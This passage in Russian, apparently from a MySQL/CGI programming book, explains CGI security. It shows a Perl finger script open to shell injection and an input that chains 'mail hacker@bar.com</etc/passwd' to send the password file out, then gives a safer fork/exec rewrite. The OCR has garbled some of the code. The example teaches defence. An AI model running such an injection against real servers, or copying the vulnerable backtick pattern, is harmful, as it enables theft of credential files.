# Заметьте, что имя пользователя 'username' добавлено к URL.

# В противном случае CGI забудет, с каким пользователем имел дело.

}

print $output->end_html;

exit(0');

}

Меры безопасности

При работе серверов Интернет, будь они серверами HTTP или другого рода, соблюдение мер безопасности является важнейшей заботой. Обмен данными между клиентом и сервером, совершаемый в рамках

CGI, выдвигает ряд важных проблем, связанных с защитой данных. Сам протокол CGI достаточно защищен. CGI-программа получает данные от сервера через стандартное устройство ввода или переменные окружения, и оба эти метода являются безопасными. Но как только CGI-программа получает управление данными, ее действия ничем не ограничены. Плохо написанная CGI-программа может позволить злоумышленнику получить доступ к системе сервера. Рассмотрим следующий пример CGI-программы:

#!/usr/bin/perl -w

use CGI;

my $output = new CGI;

my $username = $output»param('username');

print $output->header, $output->start_html('Finger Output'),

"<pre>", 'finger $username', "</pre>", $output->end_html;

Эта программа обеспечивает действующий CGI-интерфейс к команде finger. Если запустить программу просто как finger.cgi, она выведет список всех текущих пользователей на сервере. Если запустить ее как finger.cgi?username=fred, то она выведет информацию о пользователе «fred» на сервере. Можно даже запустить ее как finger. cgi?userna-me=bob@f oo.com для вывода информации об удаленном пользователе. Однако если запустить ее как finger.cgi?username=fred;mail+hac-ker@bar.com</etc/passwd, могут произойти нежелательные вещи. Оператор обратный штрих «'' » в Perl порождает процесс оболочки и выполняет команду, возвращающую результат. В данной программе 'finger $username* используется как простой способ выполнить команду finger и получить ее результат. Однако большинство командных процессоров позволяет объединять в одной строке несколько команд. Например, любой процессор, подобный процессору Борна, делает это с помощью символа «; ». Поэтому "finger fred;mail hacker@bar.com</ etc/ passwd" запустит сначала команду finger, а затем команду mail hacker@bar.com</etc/passwd, которая может послать целиком файл паролей сервера нежелательному пользователю.

Одно из решений состоит в синтаксическом анализе поступивших от формы данных с целью поиска злонамеренного содержания. Можно, скажем, искать символ «;» и удалять все следующие за ним символы. Можно сделать такую атаку невозможной, используя альтернативные методы. Приведенную выше CGI-программу можно переписать так:

#!/usr/local/bin/perl -w

use CGI;

my $output = new CGI;

my $username = $output->param('username');

$|++;

# Отключить буферизацию с целью направления всех данных клиенту,

print $output->header, $putput->start_html('Finger Output'), "<pre>\n";

$pid = open(C_OUT, "-|");# Эта идиома Perl порождает дочерний процесс и открывает

# канал между родительским и дочерним процессами,

if ($pid) {# Это родительский процесс.

print <C_OUT>; ft Вывести выходные данные дочернего процесса.

print "</pre>", $output->end_html;

exit(O); ft Завершить программу. }

elsif (defined $pid) { # Это дочерний процесс.

$|++; # Отключить буферизацию.

ехес('/usr/bin/finger',$username) or die("exec() call failed.");

# Выполняет программу finger с Susername в качестве одного единственного
# аргумента командной строки. } else { die("неудачная попытка fork()"); }

# Проверка ошибок.

Как видите, это не на много более сложная программа. Но если запустить ее как finger.cgi?username=fred;mail+hacker@bar.com</etc/passwd, то программа finger будет выполняться с аргументом fred;mail hacker@bar.com</etc/passwd как одним именем пользователя.

В качестве дополнительной меры безопасности этот сценарий запускает finger явно как /usr/bin/finger. В маловероятном случае, когда веб-сервер передает вашей CGI-программе необычный PATH, запуск просто finger может заставить выполниться не ту программу, которая нужна. Еще одну меру безопасности можно принять, изучив переменную окружения PATH и убедившись, что она имеет приемлемое значение. Неплохо удалить из PATH текущий рабочий каталог, если только вы уверены, что это не тот случай, когда действительно нужно выполнить находящуюся в нем программу.

Другое важное соображение, касающееся безопасности, связано с правами пользователя. По умолчанию веб-сервер запускает программу CGI с правами того пользователя, который запустил сам сервер. Обычно это псевдопользователь, такой как «nobody», имеющий ограниченные права, поэтому у CGI-программы тоже мало прав. Обычно это хорошо, ибо, если злоумышленник сможет получить доступ к серверу через CGI-программу, ему не удастся причинить много вреда. Пример программы, крадущей пароли, показывает, что можно сделать, но фактический ущерб для системы, как правило, ограничен.

Однако работа в качестве пользователя с ограниченными правами ограничивает и возможности CGI. Если программе CGI нужно читать или записывать файлы, она может делать это только там, где у нее есть такое разрешение. Например, во втором примере запоминания состояния для каждого пользователя ведется файл. CGI-программа должна иметь разрешение на чтение и запись в каталоге, содержащем эти файлы, не говоря уже о самих файлах. Это можно сделать, создав каталог в качестве того же пользователя, что и сервер, с правами чтения и записи только для этого пользователя. Однако для такого пользователя, как «nobody», только root имеет подобную возможность. Если вы не суперпользователь, то вам придется общаться с администратором системы при каждом изменении в CGI.

Другой способ - сделать каталог свободным для чтения и записи, фактически сняв с него всякую защиту. Поскольку из внешнего мира получить доступ к этим файлам можно только через вашу программу, опасность не так велика, как может показаться. Однако если в программе обнаружится прореха, удаленный пользователь получит полный доступ ко всем файлам, в том числе возможность уничтожить их. Кроме того, законные пользователи, работающие на сервере, также получат возможность изменять эти файлы. Если вы собираетесь воспользоваться этим методом, то все пользователи сервера должны заслуживать доверия. Кроме того, используйте открытый каталог только для файлов, которые необходимы CGI-программе; иными словами, не подвергайте риску лишние файлы.

Что еще можно почитать

Если это ваше первое обращение к CGI-программированию, дальнейшее изучение можно продолжить разными путями. По этому предмету написаны десятки книг, многие из которых не предполагают никакого знакомства с программированием. «CGI Programming on the World Wide Web» издательства O'Reilly and Associates охватывает материал от простых сценариев на разных языках до действительно поразительных трюков и ухищрений. Общедоступная информация имеется также в изобилии в WWW. Неплохо начать с CGI Made Really Easy (Действительно просто о CGI) по адресу http://www.jmarshall.com/easy/cgi/.

CGI и базы данных

С начала эпохи Интернет базы данных взаимодействовали с разработкой World Wide Web. На практике многие рассматривают Web просто как одну гигантскую базу данных мультимедийной информации.

Поисковые машины дают повседневный пример преимуществ баз данных. Поисковая машина не отправляется бродить по всему Интернету в поисках ключевых слов в тот момент, когда вы их запросили. Вместо этого разработчики сайта с помощью других программ создают гигантский указатель, который служит базой данных, откуда поисковый механизм извлекает записи. Базы данных хранят информацию в таком виде, который допускает быструю выборку с произвольным доступом.

Благодаря своей изменчивости базы данных придают Web еще большую силу: они превращают ее в потенциальный интерфейс для чего угодно. Например, системное администрирование можно производить удаленно через веб-интерфейс вместо требования регистрации администратора в нужной системе. Подключение баз данных к Web лежит в основе нового уровня интерактивности в Интернет.

Одна из причин подключения баз данных к Web регулярно дает о себе знать: значительная часть мировой информации уже находится в базах данных. Базы данных, существовавшие до возникновения Web, называются унаследованными (legacy) базами данных (в противоположность неподключенным к Web базам данных, созданным в недавнее время и которые следует назвать «дурной идеей»). Многие корпорации (и даже частные лица) стоят сейчас перед задачей обеспечения доступа к этим унаследованным базам данных через Web. Если только ваша унаследованная база не MySQL или mSQL, эта тема лежит за пределами данной книги.

Как сказано раньше, только ваше воображение может ограничить возможности связи между базами данных и Web. В настоящее время существуют тысячи уникальных и полезных баз данных, имеющие доступ из Web. Типы баз данных, действующих за пределами этих приложений, весьма различны. Некоторые из них используют CGI-программы в качестве интерфейса с сервером баз данных, таким как MySQL или mSQL. Эти типы представляют для нас наибольший интерес. Другие используют коммерческие приложения для взаимодействия с популярными настольными базами данных, такими как Microsoft Access и Claris FileMaker Pro. А другие просто работают с плоскими текстовыми файлами, являющимися самыми простыми базами данных изо всех возможных.

С помощью этих трех типов баз данных можно разрабатывать полезные веб-сайты любого размера и степени сложности. Одной из наших задач на протяжении нескольких следующих глав будет приложение мощи MySQL mSQL к Web с использованием CGI-программирования.